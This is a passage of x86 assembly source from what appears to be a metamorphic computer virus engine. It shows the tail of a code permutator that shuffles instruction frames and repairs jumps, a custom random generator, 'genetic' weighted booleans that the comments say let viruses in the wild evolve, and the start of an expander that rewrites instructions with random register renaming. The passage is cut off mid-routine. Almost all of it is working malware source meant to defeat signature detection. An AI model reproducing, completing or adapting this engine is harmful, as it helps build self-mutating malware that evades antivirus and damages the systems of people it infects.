                push    ebx       ; the conflictive instructions are inserted
                sub     ebx, esi  ; in the same frame. The others don't
                add     eax, ebx  ; matter if they are wherever we want.
                add     esi, ebx
                mov     [edi+4], esi
                pop     ebx
                jmp   @@DontAdd10hYet
    @@CheckInst_Next01:
                add     edi, 8     ; Increase the frame pointer
                sub     ecx, eax
                cmp     ecx, 01E0h ; Are we inside our last instructions?
                jae   @@NextFrame  ; If we aren't, generate another
                or      ecx, ecx   ; If we have arrived until the last
                jz    @@FramesCreationFinished  ; instruction, it's finished.
                mov     [edi], esi           ; Insert the instruction of this
                add     esi, ecx             ; frame and the last instruction.
                mov     [edi+4], esi
                add     edi, 8
    @@FramesCreationFinished:
                mov     [ebp+AddressOfLastFrame], edi ; Set the last frame.
    @@TempLabel:

        ;; Calculate MOD
                mov     eax, edi               ; Get a value we can use for
                mov     ebx, [ebp+FramesTable] ; mask a random number. The
                sub     eax, ebx               ; value is got from the total
                ; EAX = Number of frames * 8   ; number of frames.
                mov     ebx, 8
        @@LoopCalculateMOD:
                shl     ebx, 1
                cmp     ebx, eax
                jb    @@LoopCalculateMOD
                sub     ebx, 8
                mov     [ebp+MODValue], ebx

     ;; Now we have frames that we can permutate. We save the address of
     ;; the first frame to know where to jump when the code is reassembled
                mov     esi, [ebp+FramesTable]
                mov     [ebp+PositionOfFirstInstruction], esi

     ;; The frames are permutated. We have taken in account the first
     ;; instruction and we save everytime the address where the first
     ;; instruction is.
     ;; ESI = Table of frames
     ;; EDI = Address of last frame
                mov     edx, esi
      @@LoopExchange:
                call    Random
                mov     ebx, [ebp+MODValue]
                and     eax, ebx
                add     eax, esi     ; Get frame in EAX

; ; Uncommenting this instruction the engine doesn't permutate anything
; ; (used to avoid getting crazy while finding bugs in regenerated codes)
;                mov     eax, edx

                cmp     eax, edi     ; Frame address > last frame address?
                jae   @@LoopExchange ; If so, get other random frame
                mov     ecx, [eax]   ; Exchange frame at EDX with the random
                mov     ebx, [edx]   ; frame got above.
                mov     [eax], ebx
                mov     [edx], ecx   ; Be aware of first instruction position!
                cmp     edx, [ebp+PositionOfFirstInstruction]
                jnz   @@LookEAX
                mov     [ebp+PositionOfFirstInstruction], eax
                jmp   @@ExchangeNext
         @@LookEAX:
                cmp     eax, [ebp+PositionOfFirstInstruction]
                jnz   @@ExchangeNext
                mov     [ebp+PositionOfFirstInstruction], edx
         @@ExchangeNext:
                add     eax, 4
                add     edx, 4
                mov     ecx, [eax]   ; Exchange frame
                mov     ebx, [edx]
                mov     [eax], ebx
                mov     [edx], ecx
                add     edx, 4       ; Next frame
                cmp     edx, edi     ; Last frame?
                jb    @@LoopExchange ; If not, exchange next

        ;; Now we are going to copy the instructions and update the label
        ;; addresses in the label table. We include NOPs because they can
        ;; have a label over them, and if we eliminate them the label
        ;; updating will be problematic.

                mov     esi, [ebp+InstructionTable]
                mov     edi, [ebp+PermutationResult]
                mov     ebx, [ebp+FramesTable]

                mov     eax, [ebp+PositionOfFirstInstruction]
                cmp     ebx, eax
                jnz   @@InsertJump2
      @@LoopCopyFrame:
                mov     eax, 0FFh
                mov     [ebp+Permut_LastInstruction], eax
                mov     edx, [ebx]      ; Get the start and end address of the
                add     ebx, 4          ; frame and copy the instructions.
                mov     ecx, [ebx]
                add     ebx, 4
      @@LoopCopyInstructions:
                mov     eax, [edx]
                cmp     al, 4Fh         ; If we find a remaining pseudoopcode
                jnz   @@NextInstruction ; 4F from the shrinking part, we
                mov     al, 51h         ; substitute it by the correct one:
                mov     [edx], eax      ; PUSH Mem2/POP Mem
                push    eax
                push    ebx
                mov     ebx, [edx+7]
                mov     eax, 59h
                mov     [ebx], al
                pop     ebx
                pop     eax
         @@NextInstruction:
                mov     [edi], eax      ; Copy the instruction
                mov     eax, [edx+4]
                mov     [edi+4], eax
                mov     eax, [edx+8]
                mov     [edi+8], eax
                mov     [edi+0Ch], edx  ; Set pointer to old code
                mov     [edx+0Ch], edi  ; Set pointer to new code
                mov     eax, [edi]
                and     eax, 0FFh       ; NOP?
                cmp     eax, 0FFh
                jz    @@NextInstruction2
        @@SetLastInstruction:
             ;   mov     eax, [edi]      ; Save opcode for later
             ;   and     eax, 0FFh
                mov     [ebp+Permut_LastInstruction], eax
                jmp   @@NextInstruction3
        @@NextInstruction2:
                mov     eax, [edi+0Bh]   ; Label over a NOP?
                and     eax, 0FFh
                or      eax, eax         ; If so, jump to fix the problem
                jnz   @@SetLastInstruction
        @@NextInstruction3:
                add     edi, 10h         ; Next instruction in the frame
                add     edx, 10h
                cmp     edx, ecx         ; Last instruction in the frame?
                jnz   @@LoopCopyInstructions  ; If not, loop to copy
                mov     eax, [ebp+AddressOfLastFrame] ; Check if it's the last
                cmp     ebx, eax                  ; frame of the code (not of
                jae   @@LastFrameArrived          ; the table)
                mov     eax, [ebx]           ; Get the frame in the table
                cmp     eax, edx             ; Is it the same?
                jz    @@LoopTestIfLastFrame  ; Check if it's the last frame
                                             ; of the permutation table
       @@LastFrameArrived:
                mov     eax, [ebp+Permut_LastInstruction]
                cmp     eax, 0E9h  ; JMP <label> opcode
                jz    @@LoopTestIfLastFrame
                cmp     eax, 0EBh  ; JMP Mem opcode
                jz    @@LoopTestIfLastFrame
                cmp     eax, 0EDh  ; JMP Reg opcode
                jz    @@LoopTestIfLastFrame
                cmp     eax, 0FEh  ; RET
                jz    @@LoopTestIfLastFrame
                mov     [edi+1], edx  ; Set the new label
      @@InsertJump:
                mov     eax, 0E9h     ; JMP opcode
                mov     [edi], al     ; Set the JMP to the new label
                ; EDI = Jump to update
                call    InsertJumpInTable ; Insert it in the table for later
                add     edi, 10h      ; Next instruction
      @@LoopTestIfLastFrame:
                mov     eax, [ebp+AddressOfLastFrame] ; Are we in the end of
                cmp     ebx, eax                   ; the table?
                jae   @@End               ; If so, end instruction copy
                jmp   @@LoopCopyFrame     ; If not, jump to continue the copy
      @@InsertJump2:
                mov     eax, [eax]        ; Get the label
                mov     [edi+1], eax      ; Put it as label (but later will
                jmp   @@InsertJump        ; be substituted)

         ; Here we have all instructions copied, and all the labels and jumps
         ; to other blocks waiting to be updated
      @@End:    mov     [ebp+AddressOfLastInstruction], edi
                                        ; Update last instruction address
                mov     ecx, [ebp+NumberOfLabels]
                mov     edx, [ebp+LabelTable]
        @@LoopUpdateLabel:
                mov     eax, [edx+4]    ; Pointer to old code
                mov     ebx, [eax+0Ch]  ; New position (directly from the
                                        ;  instruction)
                mov     [edx], ebx      ; Set new pointer in label
                add     edx, 8
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopUpdateLabel ; Next entry

        ; Now we update the inserted permutation jumps
        ; EDX = Pointer to label insert point (from the code above)
                mov     ecx, [ebp+NumberOfJumps]
                mov     ebx, [ebp+JumpsTable]
                jmp   @@CheckNumberOfJumps
        @@LoopUpdateJumps:
                mov     esi, [ebx]     ; Jump address
                mov     eax, [esi+1]   ; Get jump destination
                mov     edi, [eax+0Ch] ; Get new address
                mov     [edx], edi     ; Label pointer to new code
                mov     [edx+4], eax   ; Label pointer to old code
                mov     [esi+1], edx   ; Set label in jump
                mov     eax, [ebp+NumberOfLabels]
                add     eax, 1
                mov     [ebp+NumberOfLabels], eax
                add     edx, 8      ; Next new label pointer
                add     ebx, 4      ; Next jump to update
                sub     ecx, 4
        @@CheckNumberOfJumps:
                or      ecx, ecx
                jnz   @@LoopUpdateJumps
         ;; All is OK in this point
                ret
PermutateCode   endp

;; Little function to insert jumps in the table.
InsertJumpInTable proc
                mov     ecx, [ebp+NumberOfJumps]
                mov     edx, [ebp+JumpsTable]
                add     edx, ecx
                mov     [edx], edi
                add     ecx, 4
                mov     [ebp+NumberOfJumps], ecx
                ret
InsertJumpInTable endp

;; Random number generator. It's used along the engine.
Random          proc
                push    edx
                push    ecx
                mov     eax, [ebp+RndSeed1]
                mov     ecx, [ebp+RndSeed2]
                add     eax, ecx
                call    RandomMod1
                xor     eax, [ebp+RndSeed1]
                mov     [ebp+RndSeed1], eax

                mov     ecx, eax
                mov     eax, [ebp+RndSeed2]
                add     [ebp+RndSeed2], ecx
                call    RandomMod2
                xor     eax, [ebp+RndSeed2]
                mov     [ebp+RndSeed2], eax
                xor     eax, [ebp+RndSeed1]
                call    RandomMod2
                pop     ecx
                pop     edx
                ret
Random          endp

RandomMod1      proc
                mov     edx, eax
                and     edx, 1FFFh
                shl     edx, 13h
                and     eax, 0FFFFFE00h
                shr     eax, 0Dh
                or      eax, edx
                add     eax, ecx
                ret
RandomMod1      endp

RandomMod2      proc
                mov     edx, eax
                and     edx, 1FFFFh
                shl     edx, 0Fh
                and     eax, 0FFFFE000h
                shr     eax, 11h
                or      eax, edx
                add     eax, ecx
                ret
RandomMod2      endp

;; Other wide-used function. Returns TRUE or FALSE in EAX.
RandomBoolean   proc
                call    Random
                and     eax, 1
                ret
RandomBoolean   endp


;; Booleans based on a little genetic algorithm. Each boolean is a
;; better-than-random number based on the previous random numbers generated
;; with these ones. The viruses that keep in the wild will have accurated
;; behaviours based on these weights.
RandomBoolean_X000_3 proc
                push    ebx
                mov     ebx, [ebp+Weight_X000_3]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X000_3], ebx
                pop     ebx
                ret
RandomBoolean_X000_3 endp

RandomBoolean_X004_7 proc
                push    ebx
                mov     ebx, [ebp+Weight_X004_7]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X004_7], ebx
                pop     ebx
                ret
RandomBoolean_X004_7 endp

RandomBoolean_X008_11 proc
                push    ebx
                mov     ebx, [ebp+Weight_X008_11]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X008_11], ebx
                pop     ebx
                ret             
RandomBoolean_X008_11 endp

RandomBoolean_X012_15 proc
                push    ebx
                mov     ebx, [ebp+Weight_X012_15]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X012_15], ebx
                pop     ebx
                ret             
RandomBoolean_X012_15 endp

RandomBoolean_X016_19 proc
                push    ebx
                mov     ebx, [ebp+Weight_X016_19]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X016_19], ebx
                pop     ebx
                ret             
RandomBoolean_X016_19 endp

RandomBoolean_X020_23 proc
                push    ebx
                mov     ebx, [ebp+Weight_X020_23]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X020_23], ebx
                pop     ebx
                ret
RandomBoolean_X020_23 endp

;; Function to save code above.
CheckForBooleanWeight proc
                push    ecx
                push    edx
                mov     ecx, ebx    ; Get the sub-weight to use
                cmp     eax, 1
                jz    @@Check1
                cmp     eax, 2
                jz    @@Check2
                cmp     eax, 3
                jz    @@Check3
      @@Check0: and     ecx, 0000000FFh
                mov     edx, 000000001h
                jmp   @@Shr00
      @@Check1: and     ecx, 00000FF00h
                mov     edx, 000000100h
                jmp   @@Shr08
      @@Check2: and     ecx, 000FF0000h
                mov     edx, 000010000h
                jmp   @@Shr10
      @@Check3: and     ecx, 0FF000000h
                mov     edx, 001000000h

       @@Shr18: shr     ecx, 8
       @@Shr10: shr     ecx, 8
       @@Shr08: shr     ecx, 8      ; Set it at the beginning of ECX
       @@Shr00:
                call    Random      ; Get a random number in range 0-255
                and     eax, 0FFh
                cmp     eax, ecx    ; If it's above/equal the weight, jump
                jae   @@Above
      @@Below:  cmp     ecx, 0F8h   ; If it has already the max value, don't
                jae   @@Return0     ; touch the weight
                call    Random
                and     eax, 0Fh    ; True-random modification (some randomness
                or      eax, eax    ; in the life of viriis :)
                jz    @@Return0
                add     ebx, edx    ; Make more probability to FALSE
                add     ecx, 1
                call    Random
                and     eax, 0Fh    ; Again?
                or      eax, eax
                jz    @@Below
     @@Return0: xor     eax, eax
                pop     edx
                pop     ecx
                ret
      @@Above:  cmp     ecx, 08h    ; If it has already the min value, don't
                jb    @@Return1     ; decrease the weight
                call    Random
                and     eax, 0Fh    ; Randomness
                or      eax, eax
                jz    @@Return1
                sub     ebx, edx    ; Make more probability to TRUE
                sub     ecx, 1
                call    Random
                and     eax, 0Fh    ; Again?
                or      eax, eax
                jz    @@Above
     @@Return1: mov     eax, 1
                pop     edx
                pop     ecx
                ret
CheckForBooleanWeight endp
;;
;;
;; End of permutator.
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!Xpander
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The expander
;; ------------
;;
;; This routine expands a shrinked pseudo-asm code previously shrinked with
;; the shrinker module. It's more easy to expand here following the
;; single/pairs/triplets rules than encoding it directly in x86 asm.
;;
;; The rules of expansion are exactly the opposite ones that we use for
;; compression. For example:
;;
;; MOV [Mem],Reg
;; MOV Reg2,[Mem]    ---> MOV Reg2,Reg
;;
;; but also:
;;
;; PUSH Reg
;; POP Reg2          ---> MOV Reg2,Reg
;;
;; Then the expansion rule for MOV Reg2,Reg will be:
;;
;; MOV Reg2,Reg      ---> MOV [Mem],Reg + MOV Reg2,[Mem]
;;                   ---> PUSH Reg + POP Reg2
;;
;; where we select randomly one of the possible expansions.
;;
;; All the expansions are performed recursively, so every instruction involved
;; in an expansion will be expanded also, until we reach a recursivity level
;; specified in the variable [SizeOfExpansion] (from X to 3).
;;

XpandCode       proc
                mov     esi, [ebp+InstructionTable] ; Source of expansion
                mov     edi, [ebp+ExpansionResult]  ; Destiny of expansion

    ;; Let's get the register translation. We must have present that DeltaReg
    ;; cannot be EAX, ECX or EDX (due to API calls). Due to the usage of 8
    ;; bits registers, we saved the used 8 bits register while shrinking code,
    ;; so we must select that register first from one of the 4 first ones.

                mov     eax, [ebp+SizeOfExpansion]
                mov     [ebp+Xp_RecurseLevel], eax ; Set the initial
                                                   ; recursivity level

                mov     eax, [ebp+CreatingADecryptor] ; If we are creating
                or      eax, eax                      ; a decryptor, keep the
                jnz   @@KeepRegisterTranslation ; current register translation

                mov     eax, 8
                mov     [ebp+Xp_Register0], eax  ; Initialize the registers
                mov     [ebp+Xp_Register1], eax
                mov     [ebp+Xp_Register2], eax
                mov     [ebp+Xp_Register3], eax
                mov     [ebp+Xp_Register5], eax
                mov     [ebp+Xp_Register6], eax
                mov     [ebp+Xp_Register7], eax
                mov     eax, 4
                mov     [ebp+Xp_Register4], eax  ; Set the ESP
    @@Other8BitsReg:
                call    Random
                and     eax, 7
                cmp     eax, 3                   ; Get a 8 bits register
                ja    @@Other8BitsReg
                mov     ebx, [ebp+Register8Bits]  ; Get the saved register
                call    Xpand_SetRegister4Xlation ; Set the translation
    @@OtherDeltaReg:
                call    Random              ; Get a register
                and     eax, 7
                cmp     eax, 2              ; EAX, ECX or EDX?
                jbe   @@OtherDeltaReg       ; If so, select another
                cmp     eax, 4              ; ESP?
                jz    @@OtherDeltaReg       ; Then, select another
                mov     ebx, [ebp+DeltaRegister]
                call    Xpand_SetRegister4Xlation ; Set the register
                or      eax, eax
                jz    @@OtherDeltaReg       ; Other if it coincides with Reg8
                mov     ebx, -1         ; Set EBX = 0 at first
    @@NextRegister:
                add     ebx, 1
                cmp     ebx, [ebp+DeltaRegister] ; EBX = DeltaRegister?
                jz    @@NextRegister
                cmp     ebx, [ebp+Register8Bits] ; EBX = Register8Bits?
                jz    @@NextRegister
                cmp     ebx, 4                   ; ESP?
                jz    @@NextRegister
                cmp     ebx, 8                   ; End of loop?
                jz    @@EndOfRegisters
    @@OtherRegister:
                call    Random           ; Get a register
                and     eax, 7
                cmp     eax, 4
                jz    @@OtherRegister
                call    Xpand_SetRegister4Xlation ; Try to set the register
                or      eax, eax
                jz    @@OtherRegister    ; If it's set in another one, select
                jmp   @@NextRegister     ; another
    @@EndOfRegisters:
                mov     eax, [ebp+DeltaRegister] ; Get the Delta Register
                call    Xpand_TranslateRegister  ; Translate it
                mov     [ebp+TranslatedDeltaRegister], eax ; Save it
    @@KeepRegisterTranslation:

    @@Expand:  ; mov     eax, [esi]
                call    XpandThisInstruction  ; Call to expand the current
                add     esi, 10h              ; instruction
                cmp     esi, [ebp+AddressOfLastInstruction] ; Is it the last?
                jnz   @@Expand                              ; If not, continue
                mov     [ebp+AddressOfLastInstruction], edi
                call    Xpand_UpdateLabels    ; Update the labels along the
                ret                           ; code and finish
XpandCode       endp


;; This function checks if the register passed at EAX exists in any other
;; variable of register translation (i.e. if any other register is translated
;; to that one). If it is, it returns with EAX = 0. If not, sets the number
;; of register in EAX in the register translation variable of the register
;; EBX, and returns with EAX = 1.
Xpand_SetRegister4Xlation proc
                cmp     eax, [ebp+Xp_Register0]  ; Check if the register in
                jz    @@ReturnError              ; EAX is used by other
                cmp     eax, [ebp+Xp_Register1]  ; register to be translated
                jz    @@ReturnError              ; as that one.
                cmp     eax, [ebp+Xp_Register2]
                jz    @@ReturnError              ; If so, return with EAX = 0
                cmp     eax, [ebp+Xp_Register3]
                jz    @@ReturnError
                cmp     eax, [ebp+Xp_Register5]
                jz    @@ReturnError
                cmp     eax, [ebp+Xp_Register6]
                jz    @@ReturnError
                cmp     eax, [ebp+Xp_Register7]
                jz    @@ReturnError
                or      ebx, ebx    ; Jump to the corresponding variable
                jz    @@SetAt0      ; setting to translate the register in
                cmp     ebx, 1      ; EBX.
                jz    @@SetAt1
                cmp     ebx, 2
                jz    @@SetAt2
                cmp     ebx, 3
                jz    @@SetAt3
                cmp     ebx, 5
                jz    @@SetAt5
                cmp     ebx, 6
                jz    @@SetAt6
    @@SetAt7:   mov     [ebp+Xp_Register7], eax  ; Set for the register EBX
                jmp   @@ReturnNoError            ; the translation in EAX.
    @@SetAt0:   mov     [ebp+Xp_Register0], eax
                jmp   @@ReturnNoError
    @@SetAt1:   mov     [ebp+Xp_Register1], eax
                jmp   @@ReturnNoError
    @@SetAt2:   mov     [ebp+Xp_Register2], eax
                jmp   @@ReturnNoError
    @@SetAt3:   mov     [ebp+Xp_Register3], eax
                jmp   @@ReturnNoError
    @@SetAt5:   mov     [ebp+Xp_Register5], eax
                jmp   @@ReturnNoError
    @@SetAt6:   mov     [ebp+Xp_Register6], eax
                jmp   @@ReturnNoError
    @@ReturnError:
                xor     eax, eax     ; Return with FALSE if error
                ret
    @@ReturnNoError:
                mov     eax, 1       ; Return with TRUE if all OK
                ret
Xpand_SetRegister4Xlation endp


;; This function will translate the register in EAX by the corresponding
;; new register, also in EAX.
Xpand_TranslateRegister proc
                or      eax, eax  ; Jump to the corresponding variable usage.
                jz    @@Get0
                cmp     eax, 1
                jz    @@Get1
                cmp     eax, 2
                jz    @@Get2
                cmp     eax, 3
                jz    @@Get3
                cmp     eax, 4
                jz    @@Return    ; Return ESP for ESP (no translation).
                cmp     eax, 5
                jz    @@Get5
                cmp     eax, 6
                jz    @@Get6
                cmp     eax, 7
                jz    @@Get7
                mov     eax, 8  ; If the register is >= 8, return 8.
                ret
      @@Get7:   mov     eax, [ebp+Xp_Register7]  ; Get the translation and
                ret                              ; return.
      @@Get0:   mov     eax, [ebp+Xp_Register0]
                ret
      @@Get1:   mov     eax, [ebp+Xp_Register1]
                ret
      @@Get2:   mov     eax, [ebp+Xp_Register2]
                ret
      @@Get3:   mov     eax, [ebp+Xp_Register3]
                ret
      @@Get5:   mov     eax, [ebp+Xp_Register5]
                ret
      @@Get6:   mov     eax, [ebp+Xp_Register6]
      @@Return: ret
Xpand_TranslateRegister endp

;; This function returns the register in reverse translation, it means, the
;; register that the register in EAX is translated to. It's the inversed
;; operation that performs Xpand_TranslateRegister, so if we get a register,
;; we translate it with Xpand_TranslateRegister and we pass the result to
;; this function, we'll get the original register. This function is useful
;; to know which register we must use before the expansion when we want a
;; specific register in the expanded result.
Xpand_ReverseTranslation proc
                cmp     eax, 4
                jz    @@Return        ; Find the register in the register
                cmp     eax, [ebp+Xp_Register0] ; translation variables
                jz    @@Return0
                cmp     eax, [ebp+Xp_Register1]
                jz    @@Return1
                cmp     eax, [ebp+Xp_Register2]
                jz    @@Return2
                cmp     eax, [ebp+Xp_Register3]
                jz    @@Return3
                cmp     eax, [ebp+Xp_Register5]
                jz    @@Return5
                cmp     eax, [ebp+Xp_Register6]
                jz    @@Return6
                cmp     eax, [ebp+Xp_Register7]
                jz    @@Return7
                mov     eax, 8
      @@Return: ret                     ; When we find it, return the number
     @@Return0: xor     eax, eax        ; of register that uses that variable
                ret                     ; for translating itself.
     @@Return1: mov     eax, 1
                ret
     @@Return2: mov     eax, 2
                ret
     @@Return3: mov     eax, 3
                ret
     @@Return5: mov     eax, 5
                ret
     @@Return6: mov     eax, 6
                ret
     @@Return7: mov     eax, 7
                ret
Xpand_ReverseTranslation endp

;; To make a real metamorphism we have a way of coding every instruction, in
;; both instruction expansion and reassembling. So, we check all the possible
;; pseudo-opcodes and we make a formula for them. The formulas used here must
;; be recognized by the shrinker.
XpandThisInstruction proc
                mov     eax, [esi+0Bh]  ; Get the label
                mov     [edi+0Bh], eax  ; Copy it
                mov     [edi+0Ch], esi  ; Set the new pointers
                mov     [esi+0Ch], edi
                xor     eax, eax
                mov     al, [esi]       ; Get the opcode

                cmp     eax, 4Ch        ; Generic 32 bits operation?
                ja    @@Xpand_Next001   ; If not, jump
                xor     eax, eax
     @@Generic: mov     [ebp+Xp_8Bits], eax  ; Set the 8 bits flag (0 or 80h)
                mov     eax, [esi]
                and     eax, 78h             ; Get the operation
                mov     [ebp+Xp_Operation], eax ; Set it
                mov     eax, [esi]           ; Get the type of operation
                and     eax, 7
                or      eax, eax             ; OP Reg,Imm?
                jz    @@OPRegImm
                cmp     eax, 1               ; OP Reg,Reg?
                jz    @@OPRegReg
                cmp     eax, 2               ; OP Reg,Mem?
                jz    @@OPRegMem
                cmp     eax, 3               ; OP Mem,Reg?
                jz    @@OPMemReg
     @@OPMemImm:                             ; OP Mem,Imm
                mov     eax, [ebp+Xp_8Bits]  ; Get the 8 bits flag
                or      eax, eax             ; If 0, jump
                jz    @@OPMemImm32
                mov     eax, [esi+7]         ; Get the Imm
                and     eax, 0FFh            ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@OPMemImmSet
                or      eax, 0FFFFFF00h
                jmp   @@OPMemImmSet          ; Set the value
     @@OPMemImm32:
                mov     eax, [esi+7]         ; Get the normal value if 32 bits
     @@OPMemImmSet:
                mov     [ebp+Xp_Immediate], eax ; Set the immediate
                call    Xpand_SetMemoryAddress  ; Copy the mem. address ref.
                                             ; (translating the indexes also)
                call    Xp_GenOPMemImm       ; Generate an OP Mem,Imm
                jmp   @@Ret
     @@OPRegImm:
                mov     eax, [ebp+Xp_8Bits]  ; Extend the sign for 8 bits
                or      eax, eax             ; operations
                jz    @@OPRegImm32
                mov     eax, [esi+7]
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@OPRegImmSet
                or      eax, 0FFFFFF00h
                jmp   @@OPRegImmSet
       @@OPRegImm32:
                mov     eax, [esi+7]
       @@OPRegImmSet:
                mov     [ebp+Xp_Immediate], eax  ; Set the immediate
                mov     eax, [esi+1]             ; Get the register
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate it to the new one
                mov     [ebp+Xp_Register], eax   ; Set it
                call    Xp_GenOPRegImm           ; Generate an OP Reg,Imm
                jmp   @@Ret
     @@OPRegReg:
                mov     eax, [esi+1]             ; Get the source register
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate it and set it
                mov     [ebp+Xp_SrcRegister], eax
                mov     eax, [esi+7]             ; Get the destiny register
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate it and set it
                mov     [ebp+Xp_Register], eax
                call    Xp_GenOPRegReg           ; Generate an OP Reg,Reg
                jmp   @@Ret
     @@OPRegMem:
                call    Xpand_SetMemoryAddress   ; Copy the memory address
                mov     eax, [esi+7]             ; (with indexes translation)
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate the destiny reg.
                mov     [ebp+Xp_Register], eax   ; Set it
                call    Xp_GenOPRegMem           ; Generate an OP Reg,Mem
                jmp   @@Ret
     @@OPMemReg:
                call    Xpand_SetMemoryAddress   ; Copy the memory address
                mov     eax, [esi+7]             ; (with indexes translation)
                and     eax, 0FFh
                call    Xpand_TranslateRegister  ; Translate the source reg.
                mov     [ebp+Xp_Register], eax
                call    Xp_GenOPMemReg           ; Generate an OP Mem,Reg
                jmp   @@Ret

   @@Xpand_Next001:
                cmp     eax, 00h+80h        ; Get if it's a 8 bits generic
                jb    @@Xpand_Next002       ; operation
                cmp     eax, 4Ch+80h
                ja    @@Xpand_Next002
                mov     eax, 80h            ; If it is, set "8 bits usage"
                jmp   @@Generic             ; (value 80h in [Xp_8Bits]) and
                                            ; jump to make the operation

   @@Xpand_Next002:
                cmp     eax, 50h                ; PUSH Reg?
                jnz   @@Xpand_Next003
                mov     eax, [esi+1]            ; Then, translate the register
                and     eax, 0FFh               ; and set it in the
                call    Xpand_TranslateRegister ; corresponding field
                mov     [ebp+Xp_Register], eax
                call    Xp_GenPUSHReg           ; Generate a PUSH Reg
                jmp   @@Ret

   @@Xpand_Next003:
                cmp     eax, 51h               ; PUSH Mem?
                jnz   @@Xpand_Next004
                call    Xpand_SetMemoryAddress ; Then, set the memory address
                xor     eax, eax               ; (with index translation),
                mov     [ebp+Xp_8Bits], eax    ; clear the "8 bits" flag and
                call    Xp_GenPUSHMem          ; generate the PUSH Mem.
                jmp   @@Ret

   @@Xpand_Next004:
                cmp     eax, 58h                ; POP Reg?
                jnz   @@Xpand_Next005
                mov     eax, [esi+1]            ; Translate the register, set
                and     eax, 0FFh               ; it into the working field
                call    Xpand_TranslateRegister ; and generate a POP Reg
                mov     [ebp+Xp_Register], eax
                call    Xp_GenPOPReg
                jmp   @@Ret

   @@Xpand_Next005:
                cmp     eax, 59h               ; POP Mem?
                jnz   @@Xpand_Next006
                call    Xpand_SetMemoryAddress ; Then, copy the memory address
                xor     eax, eax               ; with index translation, clear
                mov     [ebp+Xp_8Bits], eax    ; the "8 bits" flag and call
                call    Xp_GenPOPMem           ; the function to generate a
                jmp   @@Ret                    ; POP Mem.

   @@Xpand_Next006:
                cmp     eax, 68h               ; PUSH Imm?
                jnz   @@Xpand_Next007
                mov     eax, [esi+7]           ; Set the immediate 
                mov     [ebp+Xp_Immediate], eax
                call    Xp_GenPUSHImm          ; Generate a PUSH Imm
                jmp   @@Ret

   @@Xpand_Next007:
                cmp     eax, 70h               ; Jcc?
                jb    @@Xpand_Next008
                cmp     eax, 7Fh
                ja    @@Xpand_Next008
                mov     [ebp+Xp_Operation], eax ; Set the type of conditional
                mov     eax, [esi+1]            ; jump in the operation field
                mov     [ebp+Xp_Immediate], eax ; and the label in the
                call    Xp_GenJcc               ; Imm field, and generate it.
                jmp   @@Ret

   @@Xpand_Next008:
                cmp     eax, 0E0h              ; NOT Reg?
                jnz   @@Xpand_Next009
                call    Xpand_SetRegister      ; Then, translate and set the
                call    Xp_GenNOTReg           ; 32 bits register and generate
                jmp   @@Ret                    ; a NOT Reg

   @@Xpand_Next009:
                cmp     eax, 0E1h              ; NOT Mem?
                jnz   @@Xpand_Next010
                call    Xpand_SetMemoryAddress ; Then, copy and translate the
                xor     eax, eax               ; memory address and indexes,
                mov     [ebp+Xp_8Bits], eax    ; set "32 bits usage" and
                call    Xp_GenNOTMem           ; generate a NOT Mem
                jmp   @@Ret

   @@Xpand_Next010:
                cmp     eax, 0E2h              ; NOT Reg8?
                jnz   @@Xpand_Next011
                call    Xpand_Set8BitsRegister ; Then, translate and set the
                call    Xp_GenNOTReg           ; 8 bits register and generate
                jmp   @@Ret                    ; a NOT Reg8

   @@Xpand_Next011:
                cmp     eax, 0E3h              ; The same as with E1 (NOT Mem)
                jnz   @@Xpand_Next012          ; but with 8 bits operands.
                call    Xpand_SetMemoryAddress
                mov     eax, 80h
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenNOTMem
                jmp   @@Ret

   @@Xpand_Next012:
                cmp     eax, 0E4h              ; NEG Reg?
                jnz   @@Xpand_Next013
                call    Xpand_SetRegister      ; Then, translate the register,
                call    Xp_GenNEGReg           ; set it and generate the op.
                jmp   @@Ret

   @@Xpand_Next013:
                cmp     eax, 0E5h              ; NEG Mem?
                jnz   @@Xpand_Next014
                call    Xpand_SetMemoryAddress ; Copy the address, translate
                xor     eax, eax               ; the indexes, set "32 bits"
                mov     [ebp+Xp_8Bits], eax    ; flag and generate the instrc.
                call    Xp_GenNEGMem
                jmp   @@Ret

   @@Xpand_Next014:
                cmp     eax, 0E6h              ; NEG Reg8?
                jnz   @@Xpand_Next015
                call    Xpand_Set8BitsRegister ; Then do the same as with
                call    Xp_GenNEGReg           ; E4 (NEG Reg) but with 8 bits
                jmp   @@Ret                    ; operands

   @@Xpand_Next015:
                cmp     eax, 0E7h              ; NEG Mem8?
                jnz   @@Xpand_Next016
                call    Xpand_SetMemoryAddress ; Then do the same as with E5
                mov     eax, 80h               ; (NEG Mem) but with a 8 bits
                mov     [ebp+Xp_8Bits], eax    ; memory address.
                call    Xp_GenNEGMem
                jmp   @@Ret

   @@Xpand_Next016:
                cmp     eax, 0E8h              ; CALL @xxx?
                jnz   @@Xpand_Next017
   @@CopyInstruction:
                mov     eax, [esi]             ; Then copy the instruction.
                mov     [edi], eax             ; It's one of the very few that
                mov     eax, [esi+4]           ; haven't a translation.
                mov     [edi+4], eax
                mov     eax, [esi+7]
                mov     [edi+7], eax
                add     edi, 10h
                jmp   @@Ret

   @@Xpand_Next017:
                cmp     eax, 0E9h              ; JMP @xxx?
                jnz   @@Xpand_Next018
                mov     eax, [esi+1]           ; Get the label, set it in the
